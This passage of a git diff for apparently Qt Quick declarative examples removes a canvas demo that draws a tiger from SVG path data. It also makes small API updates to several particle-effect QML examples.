- "path":"M-70.216 -18.135C-70.647 -18.551 -70.428 -19.296 -70.836 -19.556C-71.645 -20.072 -69.538 -20.129 -69.766 -20.845C-70.149 -22.051 -69.962 -22.072 -70.084 -23.348C-70.141 -23.946 -69.553 -25.486 -69.168 -25.926C-67.722 -27.578 -69.046 -30.51 -67.406 -32.061C-67.102 -32.35 -66.726 -32.902 -66.441 -33.32C-65.782 -34.283 -64.598 -34.771 -63.648 -35.599C-63.33 -35.875 -63.531 -36.702 -62.962 -36.61C-62.248 -36.495 -61.007 -36.625 -61.052 -35.784C-61.165 -33.664 -62.494 -31.944 -63.774 -30.276C-63.323 -29.572 -63.781 -28.937 -64.065 -28.38C-65.4 -25.76 -65.211 -22.919 -65.385 -20.079C-65.39 -19.994 -65.697 -19.916 -65.689 -19.863C-65.336 -17.528 -64.752 -15.329 -63.873 -13.1C-63.507 -12.17 -63.036 -11.275 -62.886 -10.348C-62.775 -9.662 -62.672 -8.829 -63.08 -8.124C-61.045 -5.234 -62.354 -2.583 -61.185 0.948C-60.978 1.573 -59.286 3.487 -59.749 3.326C-62.262 2.455 -62.374 2.057 -62.551 1.304C-62.697 0.681 -63.027 -0.696 -63.264 -1.298C-63.328 -1.462 -63.499 -3.346 -63.577 -3.468C-65.09 -5.85 -63.732 -5.674 -65.102 -8.032C-66.53 -8.712 -67.496 -9.816 -68.619 -10.978C-68.817 -11.182 -67.674 -11.906 -67.855 -12.119C-68.947 -13.408 -70.1 -14.175 -69.764 -15.668C-69.609 -16.358 -69.472 -17.415 -70.216 -18.135z"}
- ,
- {"fill": "#000000",
- "path":"M-73.8 -16.4C-73.8 -16.4 -73.4 -9.6 -71 -8C-68.6 -6.4 -69.8 -7.2 -73 -8.4C-76.2 -9.6 -75 -10.4 -75 -10.4C-75 -10.4 -77.8 -10 -75.4 -8C-73 -6 -69.4 -3.6 -71 -3.6C-72.6 -3.6 -80.2 -7.6 -80.2 -10.4C-80.2 -13.2 -81.2 -17.3 -81.2 -17.3C-81.2 -17.3 -80.1 -18.1 -75.3 -18C-75.3 -18 -73.9 -17.3 -73.8 -16.4z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-74.6 2.2C-74.6 2.2 -83.12 -0.591 -101.6 2.8C-101.6 2.8 -92.569 0.722 -73.8 3C-63.5 4.25 -74.6 2.2 -74.6 2.2z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-72.502 2.129C-72.502 2.129 -80.748 -1.389 -99.453 0.392C-99.453 0.392 -90.275 -0.897 -71.774 2.995C-61.62 5.131 -72.502 2.129 -72.502 2.129z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-70.714 2.222C-70.714 2.222 -78.676 -1.899 -97.461 -1.514C-97.461 -1.514 -88.213 -2.118 -70.052 3.14C-60.086 6.025 -70.714 2.222 -70.714 2.222z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-69.444 2.445C-69.444 2.445 -76.268 -1.862 -93.142 -2.96C-93.142 -2.96 -84.803 -2.79 -68.922 3.319C-60.206 6.672 -69.444 2.445 -69.444 2.445z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M45.84 12.961C45.84 12.961 44.91 13.605 45.124 12.424C45.339 11.243 73.547 -1.927 77.161 -1.677C77.161 -1.677 46.913 11.529 45.84 12.961z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M42.446 13.6C42.446 13.6 41.57 14.315 41.691 13.121C41.812 11.927 68.899 -3.418 72.521 -3.452C72.521 -3.452 43.404 12.089 42.446 13.6z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M39.16 14.975C39.16 14.975 38.332 15.747 38.374 14.547C38.416 13.348 58.233 -2.149 68.045 -4.023C68.045 -4.023 50.015 4.104 39.16 14.975z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M36.284 16.838C36.284 16.838 35.539 17.532 35.577 16.453C35.615 15.373 53.449 1.426 62.28 -0.26C62.28 -0.26 46.054 7.054 36.284 16.838z"}
- ,
- {"fill": "#cccccc",
- "path":"M4.6 164.801C4.6 164.801 -10.6 162.401 6.2 160.801C6.2 160.801 24.2 158.801 28.2 153.601C28.2 153.601 41.8 144.401 44.6 144.001C47.4 143.601 63.8 140.001 64.2 137.601C64.6 135.201 70.6 132.801 72.2 133.601C73.8 134.401 73.8 143.601 71 144.401C68.2 145.201 49.4 152.401 43 153.601C36.6 154.801 25 162.401 20.2 163.601C15.4 164.801 4.6 164.801 4.6 164.801z"}
- ,
- {"fill": "#000000",
- "path":"M77.6 127.401C77.6 127.401 74.6 129.001 73.4 131.601C73.4 131.601 67 142.201 52.8 145.401C52.8 145.401 29.8 154.401 22 156.401C22 156.401 8.6 161.401 1.2 160.601C1.2 160.601 -5.8 160.801 0.4 162.401C0.4 162.401 20.6 160.401 24 158.601C24 158.601 39.6 153.401 42.6 150.801C45.6 148.201 63.8 143.201 66 141.201C68.2 139.201 78 130.801 77.6 127.401z"}
- ,
- {"fill": "#000000",
- "path":"M18.882 158.911C18.882 158.911 24.111 158.685 22.958 160.234C21.805 161.784 19.357 160.91 19.357 160.91L18.882 158.911z"}
- ,
- {"fill": "#000000",
- "path":"M11.68 160.263C11.68 160.263 16.908 160.037 15.756 161.586C14.603 163.136 12.155 162.263 12.155 162.263L11.68 160.263z"}
- ,
- {"fill": "#000000",
- "path":"M1.251 161.511C1.251 161.511 6.48 161.284 5.327 162.834C4.174 164.383 1.726 163.51 1.726 163.51L1.251 161.511z"}
- ,
- {"fill": "#000000",
- "path":"M-6.383 162.055C-6.383 162.055 -1.154 161.829 -2.307 163.378C-3.46 164.928 -5.908 164.054 -5.908 164.054L-6.383 162.055z"}
- ,
- {"fill": "#000000",
- "path":"M35.415 151.513C35.415 151.513 42.375 151.212 40.84 153.274C39.306 155.336 36.047 154.174 36.047 154.174L35.415 151.513z"}
- ,
- {"fill": "#000000",
- "path":"M45.73 147.088C45.73 147.088 51.689 143.787 51.155 148.849C50.885 151.405 46.362 149.749 46.362 149.749L45.73 147.088z"}
- ,
- {"fill": "#000000",
- "path":"M54.862 144.274C54.862 144.274 62.021 140.573 60.287 146.035C59.509 148.485 55.493 146.935 55.493 146.935L54.862 144.274z"}
- ,
- {"fill": "#000000",
- "path":"M64.376 139.449C64.376 139.449 68.735 134.548 69.801 141.21C70.207 143.748 65.008 142.11 65.008 142.11L64.376 139.449z"}
- ,
- {"fill": "#000000",
- "path":"M26.834 155.997C26.834 155.997 32.062 155.77 30.91 157.32C29.757 158.869 27.308 157.996 27.308 157.996L26.834 155.997z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M62.434 34.603C62.434 34.603 61.708 35.268 61.707 34.197C61.707 33.127 79.191 19.863 88.034 18.479C88.034 18.479 71.935 25.208 62.434 34.603z"}
- ,
- {"fill": "#000000",
- "path":"M65.4 98.4C65.4 98.4 87.401 120.801 96.601 124.401C96.601 124.401 105.801 135.601 101.801 161.601C101.801 161.601 98.601 169.201 95.401 148.401C95.401 148.401 98.601 123.201 87.401 139.201C87.401 139.201 79 129.301 85.4 129.601C85.4 129.601 88.601 131.601 89.001 130.001C89.401 128.401 81.4 114.801 64.2 100.4C47 86 65.4 98.4 65.4 98.4z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M7 137.201C7 137.201 6.8 135.401 8.6 136.201C10.4 137.001 104.601 143.201 136.201 167.201C136.201 167.201 91.001 144.001 7 137.201z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M17.4 132.801C17.4 132.801 17.2 131.001 19 131.801C20.8 132.601 157.401 131.601 181.001 164.001C181.001 164.001 159.001 138.801 17.4 132.801z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M29 128.801C29 128.801 28.8 127.001 30.6 127.801C32.4 128.601 205.801 115.601 229.401 148.001C229.401 148.001 219.801 122.401 29 128.801z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M39 124.001C39 124.001 38.8 122.201 40.6 123.001C42.4 123.801 164.601 85.2 188.201 117.601C188.201 117.601 174.801 93 39 124.001z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-19 146.801C-19 146.801 -19.2 145.001 -17.4 145.801C-15.6 146.601 2.2 148.801 4.2 187.601C4.2 187.601 -3 145.601 -19 146.801z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-27.8 148.401C-27.8 148.401 -28 146.601 -26.2 147.401C-24.4 148.201 -10.2 143.601 -13 182.401C-13 182.401 -11.8 147.201 -27.8 148.401z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-35.8 148.801C-35.8 148.801 -36 147.001 -34.2 147.801C-32.4 148.601 -17 149.201 -29.4 171.601C-29.4 171.601 -19.8 147.601 -35.8 148.801z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M11.526 104.465C11.526 104.465 11.082 106.464 12.631 105.247C28.699 92.622 61.141 33.72 116.826 28.086C116.826 28.086 78.518 15.976 11.526 104.465z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M22.726 102.665C22.726 102.665 21.363 101.472 23.231 100.847C25.099 100.222 137.541 27.72 176.826 35.686C176.826 35.686 149.719 28.176 22.726 102.665z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M1.885 108.767C1.885 108.767 1.376 110.366 3.087 109.39C12.062 104.27 15.677 47.059 59.254 45.804C59.254 45.804 26.843 31.09 1.885 108.767z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-18.038 119.793C-18.038 119.793 -19.115 121.079 -17.162 120.825C-6.916 119.493 14.489 78.222 58.928 83.301C58.928 83.301 26.962 68.955 -18.038 119.793z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-6.8 113.667C-6.8 113.667 -7.611 115.136 -5.742 114.511C4.057 111.237 17.141 66.625 61.729 63.078C61.729 63.078 27.603 55.135 -6.8 113.667z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-25.078 124.912C-25.078 124.912 -25.951 125.954 -24.369 125.748C-16.07 124.669 1.268 91.24 37.264 95.354C37.264 95.354 11.371 83.734 -25.078 124.912z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-32.677 130.821C-32.677 130.821 -33.682 131.866 -32.091 131.748C-27.923 131.439 2.715 98.36 21.183 113.862C21.183 113.862 9.168 95.139 -32.677 130.821z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M36.855 98.898C36.855 98.898 35.654 97.543 37.586 97.158C39.518 96.774 160.221 39.061 198.184 51.927C198.184 51.927 172.243 41.053 36.855 98.898z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M3.4 163.201C3.4 163.201 3.2 161.401 5 162.201C6.8 163.001 22.2 163.601 9.8 186.001C9.8 186.001 19.4 162.001 3.4 163.201z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M13.8 161.601C13.8 161.601 13.6 159.801 15.4 160.601C17.2 161.401 35 163.601 37 202.401C37 202.401 29.8 160.401 13.8 161.601z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M20.6 160.001C20.6 160.001 20.4 158.201 22.2 159.001C24 159.801 48.6 163.201 72.2 195.601C72.2 195.601 36.6 158.801 20.6 160.001z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M28.225 157.972C28.225 157.972 27.788 156.214 29.678 156.768C31.568 157.322 52.002 155.423 90.099 189.599C90.099 189.599 43.924 154.656 28.225 157.972z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M38.625 153.572C38.625 153.572 38.188 151.814 40.078 152.368C41.968 152.922 76.802 157.423 128.499 192.399C128.499 192.399 54.324 150.256 38.625 153.572z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-1.8 142.001C-1.8 142.001 -2 140.201 -0.2 141.001C1.6 141.801 55 144.401 85.4 171.201C85.4 171.201 50.499 146.426 -1.8 142.001z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M-11.8 146.001C-11.8 146.001 -12 144.201 -10.2 145.001C-8.4 145.801 16.2 149.201 39.8 181.601C39.8 181.601 4.2 144.801 -11.8 146.001z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M49.503 148.962C49.503 148.962 48.938 147.241 50.864 147.655C52.79 148.068 87.86 150.004 141.981 181.098C141.981 181.098 64.317 146.704 49.503 148.962z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M57.903 146.562C57.903 146.562 57.338 144.841 59.264 145.255C61.19 145.668 96.26 147.604 150.381 178.698C150.381 178.698 73.317 143.904 57.903 146.562z"}
- ,
- {"fill": "#ffffff", "stroke":"#000000", "width":0.1,
- "path":"M67.503 141.562C67.503 141.562 66.938 139.841 68.864 140.255C70.79 140.668 113.86 145.004 203.582 179.298C203.582 179.298 82.917 138.904 67.503 141.562z"}
- ,
- {"fill": "#000000",
- "path":"M-43.8 148.401C-43.8 148.401 -38.6 148.001 -39.8 149.601C-41 151.201 -43.4 150.401 -43.4 150.401L-43.8 148.401z"}
- ,
- {"fill": "#000000",
- "path":"M-13 162.401C-13 162.401 -7.8 162.001 -9 163.601C-10.2 165.201 -12.6 164.401 -12.6 164.401L-13 162.401z"}
- ,
- {"fill": "#000000",
- "path":"M-21.8 162.001C-21.8 162.001 -16.6 161.601 -17.8 163.201C-19 164.801 -21.4 164.001 -21.4 164.001L-21.8 162.001z"}
- ,
- {"fill": "#000000",
- "path":"M-117.169 150.182C-117.169 150.182 -112.124 151.505 -113.782 152.624C-115.439 153.744 -117.446 152.202 -117.446 152.202L-117.169 150.182z"}
- ,
- {"fill": "#000000",
- "path":"M-115.169 140.582C-115.169 140.582 -110.124 141.905 -111.782 143.024C-113.439 144.144 -115.446 142.602 -115.446 142.602L-115.169 140.582z"}
- ,
- {"fill": "#000000",
- "path":"M-122.369 136.182C-122.369 136.182 -117.324 137.505 -118.982 138.624C-120.639 139.744 -122.646 138.202 -122.646 138.202L-122.369 136.182z"}
- ,
- {"fill": "#cccccc",
- "path":"M-42.6 211.201C-42.6 211.201 -44.2 211.201 -48.2 213.201C-50.2 213.201 -61.4 216.801 -67 226.801C-67 226.801 -54.6 217.201 -42.6 211.201z"}
- ,
- {"fill": "#cccccc",
- "path":"M45.116 303.847C45.257 304.105 45.312 304.525 45.604 304.542C46.262 304.582 47.495 304.883 47.37 304.247C46.522 299.941 45.648 295.004 41.515 293.197C40.876 292.918 39.434 293.331 39.36 294.215C39.233 295.739 39.116 297.088 39.425 298.554C39.725 299.975 41.883 299.985 42.8 298.601C43.736 300.273 44.168 302.116 45.116 303.847z"}
- ,
- {"fill": "#cccccc",
- "path":"M34.038 308.581C34.786 309.994 34.659 311.853 36.074 312.416C36.814 312.71 38.664 311.735 38.246 310.661C37.444 308.6 37.056 306.361 35.667 304.55C35.467 304.288 35.707 303.755 35.547 303.427C34.953 302.207 33.808 301.472 32.4 301.801C31.285 304.004 32.433 306.133 33.955 307.842C34.091 307.994 33.925 308.37 34.038 308.581z"}
- ,
- {"fill": "#cccccc",
- "path":"M-5.564 303.391C-5.672 303.014 -5.71 302.551 -5.545 302.23C-5.014 301.197 -4.221 300.075 -4.558 299.053C-4.906 297.997 -6.022 298.179 -6.672 298.748C-7.807 299.742 -7.856 301.568 -8.547 302.927C-8.743 303.313 -8.692 303.886 -9.133 304.277C-9.607 304.698 -10.047 306.222 -9.951 306.793C-9.898 307.106 -10.081 317.014 -9.859 316.751C-9.24 316.018 -6.19 306.284 -6.121 305.392C-6.064 304.661 -5.332 304.196 -5.564 303.391z"}
- ,
- {"fill": "#cccccc",
- "path":"M-31.202 296.599C-28.568 294.1 -25.778 291.139 -26.22 287.427C-26.336 286.451 -28.111 286.978 -28.298 287.824C-29.1 291.449 -31.139 294.11 -33.707 296.502C-35.903 298.549 -37.765 304.893 -38 305.401C-34.303 300.145 -32.046 297.399 -31.202 296.599z"}
- ,
- {"fill": "#cccccc",
- "path":"M-44.776 290.635C-44.253 290.265 -44.555 289.774 -44.338 289.442C-43.385 287.984 -42.084 286.738 -42.066 285C-42.063 284.723 -42.441 284.414 -42.776 284.638C-43.053 284.822 -43.395 284.952 -43.503 285.082C-45.533 287.531 -46.933 290.202 -48.376 293.014C-48.559 293.371 -49.703 297.862 -49.39 297.973C-49.151 298.058 -47.431 293.877 -47.221 293.763C-45.958 293.077 -45.946 291.462 -44.776 290.635z"}
- ,
- {"fill": "#cccccc",
- "path":"M-28.043 310.179C-27.599 309.31 -26.023 308.108 -26.136 307.219C-26.254 306.291 -25.786 304.848 -26.698 305.536C-27.955 306.484 -31.404 307.833 -31.674 313.641C-31.7 314.212 -28.726 311.519 -28.043 310.179z"}
- ,
- {"fill": "#cccccc",
- "path":"M-13.6 293.001C-13.2 292.333 -12.492 292.806 -12.033 292.543C-11.385 292.171 -10.774 291.613 -10.482 290.964C-9.512 288.815 -7.743 286.995 -7.6 284.601C-9.091 283.196 -9.77 285.236 -10.4 286.201C-11.723 284.554 -12.722 286.428 -14.022 286.947C-14.092 286.975 -14.305 286.628 -14.38 286.655C-15.557 287.095 -16.237 288.176 -17.235 288.957C-17.406 289.091 -17.811 288.911 -17.958 289.047C-18.61 289.65 -19.583 289.975 -19.863 290.657C-20.973 293.364 -24.113 295.459 -26 303.001C-25.619 303.91 -21.488 296.359 -21.001 295.661C-20.165 294.465 -20.047 297.322 -18.771 296.656C-18.72 296.629 -18.534 296.867 -18.4 297.001C-18.206 296.721 -17.988 296.492 -17.6 296.601C-17.6 296.201 -17.734 295.645 -17.533 295.486C-16.296 294.509 -16.38 293.441 -15.6 292.201C-15.142 292.99 -14.081 292.271 -13.6 293.001z"}
- ,
- {"fill": "#cccccc",
- "path":"M46.2 347.401C46.2 347.401 53.6 327.001 49.2 315.801C49.2 315.801 60.6 337.401 56 348.601C56 348.601 55.6 338.201 51.6 333.201C51.6 333.201 47.6 346.001 46.2 347.401z"}
- ,
- {"fill": "#cccccc",
- "path":"M31.4 344.801C31.4 344.801 36.8 336.001 28.8 317.601C28.8 317.601 28 338.001 21.2 349.001C21.2 349.001 35.4 328.801 31.4 344.801z"}
- ,
- {"fill": "#cccccc",
- "path":"M21.4 342.801C21.4 342.801 21.2 322.801 21.6 319.801C21.6 319.801 17.8 336.401 7.6 346.001C7.6 346.001 22 334.001 21.4 342.801z"}
- ,
- {"fill": "#cccccc",
- "path":"M11.8 310.801C11.8 310.801 17.8 324.401 7.8 342.801C7.8 342.801 14.2 330.601 9.4 323.601C9.4 323.601 12 320.201 11.8 310.801z"}
- ,
- {"fill": "#cccccc",
- "path":"M-7.4 342.401C-7.4 342.401 -8.4 326.801 -6.6 324.601C-6.6 324.601 -6.4 318.201 -6.8 317.201C-6.8 317.201 -2.8 311.001 -2.6 318.401C-2.6 318.401 -1.2 326.201 1.6 330.801C1.6 330.801 5.2 336.201 5 342.601C5 342.601 -5 312.401 -7.4 342.401z"}
- ,
- {"fill": "#cccccc",
- "path":"M-11 314.801C-11 314.801 -17.6 325.601 -19.4 344.601C-19.4 344.601 -20.8 338.401 -17 324.001C-17 324.001 -12.8 308.601 -11 314.801z"}
- ,
- {"fill": "#cccccc",
- "path":"M-32.8 334.601C-32.8 334.601 -27.8 329.201 -26.4 324.201C-26.4 324.201 -22.8 308.401 -29.2 317.001C-29.2 317.001 -29 325.001 -37.2 332.401C-37.2 332.401 -32.4 330.001 -32.8 334.601z"}
- ,
- {"fill": "#cccccc",
- "path":"M-38.6 329.601C-38.6 329.601 -35.2 312.201 -34.4 311.401C-34.4 311.401 -32.6 308.001 -35.4 311.201C-35.4 311.201 -44.2 330.401 -48.2 337.001C-48.2 337.001 -40.2 327.801 -38.6 329.601z"}
- ,
- {"fill": "#cccccc",
- "path":"M-44.4 313.001C-44.4 313.001 -32.8 290.601 -54.6 316.401C-54.6 316.401 -43.6 306.601 -44.4 313.001z"}
- ,
- {"fill": "#cccccc",
- "path":"M-59.8 298.401C-59.8 298.401 -55 279.601 -52.4 279.801C-52.4 279.801 -44.2 270.801 -50.8 281.401C-50.8 281.401 -56.8 291.001 -56.2 300.801C-56.2 300.801 -56.8 291.201 -59.8 298.401z"}
- ,
- {"fill": "#cccccc",
- "path":"M270.5 287C270.5 287 258.5 277 256 273.5C256 273.5 269.5 292 269.5 299C269.5 299 272 291.5 270.5 287z"}
- ,
- {"fill": "#cccccc",
- "path":"M276 265C276 265 255 250 251.5 242.5C251.5 242.5 278 272 278 276.5C278 276.5 278.5 267.5 276 265z"}
- ,
- {"fill": "#cccccc",
- "path":"M293 111C293 111 281 103 279.5 105C279.5 105 290 111.5 292.5 120C292.5 120 291 111 293 111z"}
- ,
- {"fill": "#cccccc",
- "path":"M301.5 191.5L284 179.5C284 179.5 303 196.5 303.5 200.5L301.5 191.5z"}
- ,
- {"stroke":"#000000",
- "path":"M-89.25 169L-67.25 173.75"}
- ,
- {"stroke":"#000000",
- "path":"M-39 331C-39 331 -39.5 327.5 -48.5 338"}
- ,
- {"stroke":"#000000",
- "path":"M-33.5 336C-33.5 336 -31.5 329.5 -38 334"}
- ,
- {"stroke":"#000000",
- "path":"M20.5 344.5C20.5 344.5 22 333.5 10.5 346.5"}
-];
-
-
-
-function draw(ctx, frame)
-{
- var startTime = new Date();
- var totalPaths = tiger.length;
-
- if (frame > totalPaths)
- return;
- ctx.reset();
- ctx.globalCompositeOperation = "source-over";
- ctx.fillStyle = "rgba(0,0,0,0)";
- ctx.fillRect(0, 0, 1900, 1200);
-
- ctx.strokeColor = Qt.rgba(133, 133, 133,1);
- ctx.lineWidth = 1;
- ctx.translate(750, 350);
- ctx.scale(5,5);
- for (var i = 0; i < frame; i++) {
- if (tiger[i].width != undefined)
- ctx.lineWidth = tiger[i].width;
-
- if (tiger[i].path != undefined)
- ctx.setPathString(tiger[i].path);
-
- if (tiger[i].fill != undefined) {
- ctx.fillStyle = tiger[i].fill;
- ctx.fill();
- }
-
- if (tiger[i].stroke != undefined) {
- ctx.strokeStyle = tiger[i].stroke;
- ctx.stroke();
- }
- }
- var endTime = new Date();
- console.log("Javascript time:" + (endTime.valueOf() - startTime.valueOf()));
-
-}
-
-
diff --git a/examples/declarative/canvas/svgpath/tiger.qml b/examples/declarative/canvas/svgpath/tiger.qml
deleted file mode 100644
index 77161e7c46..0000000000
--- a/examples/declarative/canvas/svgpath/tiger.qml
+++ /dev/null
@@ -1,85 +0,0 @@
-import QtQuick 2.0
-import "tiger.js" as Tiger
-
-Canvas {
- id:canvas
- width:1900
- height:1100
- fillColor:"#000000"
- focus:true
- renderTarget:PaintedItem.FramebufferObject
- property int frame:0
- property date paintingTime
- Component.onCompleted: {
- canvas.frame++;
- canvas.requestPaint();
- }
- onPainted: {
- var endPaintingTime = new Date;
- console.log("painting time:" + (endPaintingTime.valueOf() - canvas.paintingTime.valueOf()));
- canvas.frame++;
- if (canvas.frame > Tiger.tiger.length) {
-// canvas.frame = 0;
- canvas.frame = Tiger.tiger.length;
- } else {
- canvas.requestPaint();
- }
- }
- onPaint:{
- canvas.paintingTime = new Date();
- Tiger.draw(context, canvas.frame);
- }
- Keys.onPressed : {
- if (event.key == Qt.Key_Plus) {
- canvas.contentsScale *= 1.5;
- }
- if (event.key == Qt.Key_Minus) {
- canvas.contentsScale *= 0.7;
- }
- if (event.key == Qt.Key_Left) {
- canvas.canvasX +=60;
- }
- if (event.key == Qt.Key_Right) {
- canvas.canvasX -= 60;
- }
- if (event.key == Qt.Key_Up) {
- canvas.canvasY += 40;
- }
- if (event.key == Qt.Key_Down) {
- canvas.canvasY -= 40;
- }
-
- canvas.requestPaint();
- }
- Rectangle {
- anchors.bottom : parent.bottom
- color: "white"
- opacity:0.7
- height:50
- width:canvas.width
- radius:4
- Text {
- anchors.bottom : parent.bottom
- font.pixelSize : 30
- text: "drawing path:" + canvas.frame + "/" + Tiger.tiger.length
- + " moving to:(" + canvas.canvasX + "," + canvas.canvasY + ")"
- + " scale:" + canvas.contentsScale;
- }
- }
-
- MouseArea {
- id:mouseArea
- anchors.fill:parent
- property real pressedX;
- property real pressedY;
- onPressed: {
- pressedX = mouseX;
- pressedY = mouseY;
- }
- onPositionChanged : {
- canvas.canvasX = mouseX - pressedX;
- canvas.canvasY = mouseY - pressedY;
- canvas.requestPaint();
- }
- }
-}
diff --git a/examples/declarative/declarative.pro b/examples/declarative/declarative.pro
index c2950616a2..d3683fe376 100644
--- a/examples/declarative/declarative.pro
+++ b/examples/declarative/declarative.pro
@@ -6,7 +6,8 @@ SUBDIRS = \
minehunt \
modelviews \
painteditem \
- tutorials
+ tutorials \
+ script
# plugins uses a 'Time' class that conflicts with symbian e32std.h also defining a class of the same name
symbian:SUBDIRS -= plugins
diff --git a/examples/declarative/particles/allsmiles/ultraparticles.qml b/examples/declarative/particles/allsmiles/ultraparticles.qml
index 0ea095deb6..eda1c8f859 100644
--- a/examples/declarative/particles/allsmiles/ultraparticles.qml
+++ b/examples/declarative/particles/allsmiles/ultraparticles.qml
@@ -104,6 +104,6 @@ Rectangle{
anchors.margins: 16
text: "... can you be trusted with the power?"
style: Text.Outline; styleColor: "#AAAAAA"
- font.pixelSize: 32
+ font.pixelSize: width > 400 ? 32 : 16
}
}
diff --git a/examples/declarative/particles/custom/custom.qml b/examples/declarative/particles/custom/custom.qml
index 393870527f..9a562af3b6 100644
--- a/examples/declarative/particles/custom/custom.qml
+++ b/examples/declarative/particles/custom/custom.qml
@@ -27,7 +27,7 @@ ParticleSystem{
duration: 24000
}
function convert(a){return a*(Math.PI/180);}
- CustomEmitter{
+ Emitter{
lifeSpan: 4000
emitRate: 120
size: 12
@@ -37,10 +37,10 @@ ParticleSystem{
var theta = Math.floor(Math.random() * 6.0) / 6.0;
theta *= 2.0*Math.PI;
theta += sys.convert(sys.petalRotation);
- particle.sx = petalLength * Math.cos(theta);
- particle.sy = petalLength * Math.sin(theta);
- particle.ax = particle.sx * -0.5;
- particle.ay = particle.sy * -0.5;
+ particle.vx = petalLength * Math.cos(theta);
+ particle.vy = petalLength * Math.sin(theta);
+ particle.ax = particle.vx * -0.5;
+ particle.ay = particle.vy * -0.5;
}
}
CustomParticle{
diff --git a/examples/declarative/particles/custom/fallingleaves.qml b/examples/declarative/particles/custom/fallingleaves.qml
index 1d1282ebbb..3572490451 100644
--- a/examples/declarative/particles/custom/fallingleaves.qml
+++ b/examples/declarative/particles/custom/fallingleaves.qml
@@ -25,7 +25,7 @@ Item {
xVariance: 60
pace: 60
}
- CustomAffector{
+ Affector{
system: sys
property real coefficient: 0.1
property real speed: 1.5
@@ -56,7 +56,7 @@ Item {
}
}
- CustomAffector{//Custom Friction, adds some 'randomness'
+ Affector{//Custom Friction, adds some 'randomness'
system: sys
//onceOff: true
x: -60
diff --git a/examples/declarative/particles/exampleslauncher.qml b/examples/declarative/particles/exampleslauncher.qml
index 7bdd3af51f..dfb966536a 100644
--- a/examples/declarative/particles/exampleslauncher.qml
+++ b/examples/declarative/particles/exampleslauncher.qml
@@ -75,6 +75,7 @@ Rectangle{
"../allsmiles/spritevariedparticles.qml",
"../trails/velocityfrommotion.qml",
"../trails/fireballs.qml",
+ "../trails/combustion.qml",
"../trails/list.qml",
"../trails/portal.qml",
"../trails/rainbow.qml",
diff --git a/examples/declarative/particles/modelparticles/gridsplosion.qml b/examples/declarative/particles/modelparticles/gridsplosion.qml
index db860125e5..9232eb426d 100644
--- a/examples/declarative/particles/modelparticles/gridsplosion.qml
+++ b/examples/declarative/particles/modelparticles/gridsplosion.qml
@@ -42,7 +42,7 @@ import QtQuick 2.0
import QtQuick.Particles 2.0
import "content"
-Item{
+Rectangle{
id: root
width: 240
height: 240
diff --git a/examples/declarative/particles/trails/fireworks.qml b/examples/declarative/particles/trails/fireworks.qml
index b40b300b88..a84f5d8b3c 100644
--- a/examples/declarative/particles/trails/fireworks.qml
+++ b/examples/declarative/particles/trails/fireworks.qml
@@ -114,6 +114,7 @@ Rectangle{
ImageParticle{
particles: ["works", "fire", "splode"]
source: "content/particle.png"
+ entryEffect: ImageParticle.Scale
}
}
}
diff --git a/examples/declarative/particles/trails/overburst.qml b/examples/declarative/particles/trails/overburst.qml
index c3129a1d72..ca6bc6dedc 100644
--- a/examples/declarative/particles/trails/overburst.qml
+++ b/examples/declarative/particles/trails/overburst.qml
@@ -61,7 +61,6 @@ Rectangle{
x: ma.mouseX
y: ma.mouseY
emitRate: 16000
- lifeSpan: 1000
emitCap: 4000
acceleration: AngledDirection{angleVariation: 360; magnitude: 360; }
size: 8
@@ -75,7 +74,7 @@ Rectangle{
MouseArea{
width: 100
height: 100
- onClicked: sys.overwrite = !sys.overwrite
+ onClicked: bursty.noCap = true;
id: ma2
Rectangle{
anchors.fill: parent
diff --git a/examples/declarative/particles/trails/turbulence.qml b/examples/declarative/particles/trails/turbulence.qml
index 6159b3e9c9..3f822c7889 100644
--- a/examples/declarative/particles/trails/turbulence.qml
+++ b/examples/declarative/particles/trails/turbulence.qml
@@ -43,7 +43,7 @@ import QtQuick.Particles 2.0
